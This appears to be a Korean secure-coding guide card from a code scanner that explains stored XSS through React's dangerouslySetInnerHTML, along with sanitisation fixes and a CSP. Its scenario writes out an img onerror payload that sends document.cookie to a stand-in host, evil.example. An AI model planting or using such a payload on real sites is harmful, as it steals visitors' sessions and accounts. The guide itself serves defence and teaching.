- 위험도
- 높음(High)
- CWE
- CWE-79 · 크로스사이트 스크립팅
- OWASP
- A03:2021
- 룰
- vg-react-dangerous-html · vg-llm-output-innerhtml
이게 무슨 말이냐 (쉽게)
React는 평소에 {글}이라고 쓰면 태그를 글자 그대로 보여줍니다 — 누가 <b>라고 입력하면 화면에도 <b>라고 나와요. 그게 기본 안전장치입니다.
dangerouslySetInnerHTML은 그 안전장치를 끄는 스위치예요. 이름에 dangerously가 붙은 건 농담이 아닙니다. 스위치를 켜면 <script>도, <img onerror=...>도 진짜 코드로 실행됩니다.
내가 직접 쓴 문구를 굵게 보여주려고 켜는 건 괜찮아요. 문제는 다른 사람이 입력한 값(댓글·프로필 소개·상품 설명)이나 AI가 만든 답(룰 vg-llm-output-innerhtml)이 거기로 흘러 들어갈 때입니다. 우리 검사기는 DOMPurify·sanitize(...) 같은 정제 호출이 같은 줄에 없을 때만 표시합니다.
실제로 어떻게 터지나 (시나리오)
커뮤니티에 마크다운 댓글을 붙였어요. 서식을 살리려고 이렇게 썼습니다.
<div dangerouslySetInnerHTML={{ __html: marked(comment.body) }} />누군가 댓글 칸에 <img src=x onerror="fetch('https://evil.example/c?d='+document.cookie)"> 를 적습니다. 이미지는 깨지지만 onerror는 실행돼요. 이제 그 댓글이 보이는 페이지를 여는 모든 사람의 쿠키가 공격자에게 넘어갑니다. 저장형 XSS라 공격자는 한 번만 써두면 되고, 이후에는 방문자가 알아서 걸려요. 관리자가 그 글을 열면 관리자 세션이 넘어갑니다.
최악의 경우
- 세션 쿠키 탈취 → 관리자 계정 장악 → 전체 데이터 접근.
- 화면을 통째로 가짜 로그인 폼으로 바꿔 비밀번호 수집.
- 방문자 브라우저에서 조용히 API 호출(비밀번호 변경·결제 요청)까지.
- 악성 스크립트가 박힌 페이지가 검색엔진에 색인 → 도메인 신뢰도 하락.
나한테 해당되나? (체크)
- 코드에 dangerouslySetInnerHTML 또는 innerHTML = 가 있다.
- 거기 들어가는 값이 사용자 입력(댓글·소개글·리뷰)이거나 DB에서 읽어온 글이다.
- 마크다운·리치텍스트 에디터 결과를 HTML로 그린다.
- AI 응답을 그대로 HTML로 그린다.
- URL의 값(location.hash, 쿼리스트링)을 화면에 그린다. (룰 vg-xss-location-sink)
→ 1번 + (2~5 중 하나)면 해당됩니다. 이 룰은 휴리스틱이라 리포트에는 신뢰도 점검 필요로 떠요 — 그 값이 어디서 왔는지 한 번 따라가 보세요.
어떻게 고치나 (복붙)
① 제일 쉬운 답 — 그냥 안 쓰기. 서식이 꼭 필요한 게 아니라면 React 기본 렌더가 이미 안전합니다.
- <div dangerouslySetInnerHTML={{ __html: comment.body }} />
+ <div className="whitespace-pre-wrap">{comment.body}</div> // 태그가 글자로 보인다② 서식이 필요하면 — 정제한 뒤에
import DOMPurify from "isomorphic-dompurify";
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(marked(comment.body)) }} />저장할 때 서버에서 한 번 더 정제하면 더 좋습니다. 화면에서만 막으면 다른 화면(관리자 페이지·이메일 발송)에서 그대로 새요.
③ 허용 태그를 좁히기 — 굵게·링크·목록 정도면 충분합니다.
DOMPurify.sanitize(html, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "ul", "ol", "li", "p", "br", "code"],
ALLOWED_ATTR: ["href", "target", "rel"],
});④ 마크다운 라이브러리가 정제해 줄 거라 믿지 않기 — marked의 sanitize 옵션은 폐기됐습니다. 마크다운 변환기는 정제기가 아니라는 전제로, 출력은 항상 DOMPurify를 통과시키세요.
⑤ 방어선 하나 더 — CSP. Content-Security-Policy로 인라인 스크립트를 막으면 정제가 뚫려도 실행을 한 번 더 막습니다. 단 unsafe-inline이 들어 있으면 의미가 없어요(룰 vg-nextjs-csp-unsafe-inline).
고친 뒤 확인
- 01
직접 넣어보기
댓글·소개글 칸에 <img src=x onerror="alert(1)"> → 경고창이 안 떠야 정상. 글자로 보이거나 태그가 사라져야 합니다.
- 02
이미 저장된 값 확인
고치기 전에 들어온 악성 글은 DB에 그대로 남아 있습니다. 기존 데이터를 훑어보세요.
- 03
출처 따라가기
git grep -n "dangerouslySetInnerHTML|innerHTML" → 나온 자리마다 값이 어디서 왔는지 확인.
규제 연결
입력검증 실패라 ISMS-P 2.8.4(개발 보안 — 입력검증), PIPA 제29조 안전조치의무에 걸립니다. 저장형 XSS는 세션 탈취를 거쳐 개인정보 무단열람으로 이어지므로 사고 신고 대상이 될 수 있습니다.
출처/더 읽기: OWASP A03:2021(Injection), OWASP XSS Prevention Cheat Sheet, CWE-79, React 공식 문서(dangerouslySetInnerHTML), DOMPurify. 이 카드는 우리가 직접 작성했습니다.
← 문서 목록으로